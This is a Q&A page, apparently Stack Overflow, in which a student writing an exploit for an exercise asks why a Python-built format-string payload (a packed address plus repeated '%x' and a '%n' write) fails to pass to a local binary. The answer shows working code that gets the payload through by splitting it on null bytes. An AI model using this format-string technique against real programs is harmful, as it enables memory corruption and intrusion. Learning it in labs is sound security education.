Search code examples
pythonpython-3.xexploitshellcode

"must be a string without null bytes" or "can't concat str to bytes" passing a payload on a command line


I am trying to create an exploit for an exercise but I have a problem with the following code:

#!/usr/bin/python
import os
import struct
address = struct.pack("I",0x201014)
payload = address+"." + ".%x."*131 + ".%n."
os.system("/home/osboxes/Desktop/formatString " + payload)

But the mistake is as follows: TypeError: system() argument 1 must be string without null bytes, not str

I am trying to upgrade to the current version of python with "subprocess" utility:

#!/usr/bin/python3
import subprocess
import struct
address = struct.pack("I",0x201014)
payload = address+"." + ".%x."*131 + ".%n."
subprocess.call("/home/osboxes/Desktop/formatString " + payload, shell=True)

But the mistake is as follows: TypeError: can't concat str to bytes

How could I fix the byte or str conversion problem for both versions? both programs agree that the error is in the line of "payload = ..."


Solution

  • That string isn't capable of being passed as a command-line argument on UNIX.

    Why? Because it contains NUL literals, and UNIX command lines are made up of C strings -- which are NUL-terminated.

    >>> address = struct.pack("I",0x201014)
    >>> address
    b'\x14\x10 \x00'
    

    See that \x00? Not allowed, not possible -- not as one command-line argument, at least.


    But you can put it in an argv, as long as it's split into multiple arguments. Note that shell=False below:

    payload = (address + (b'.%x.' * 131) + b'.%n.').split(b'\0')
    subprocess.call(['/home/osboxes/Desktop/formatString'] + payload)
    

    How does this work? Because the \x00s that terminate each individual C string are implicitly present at the boundary points.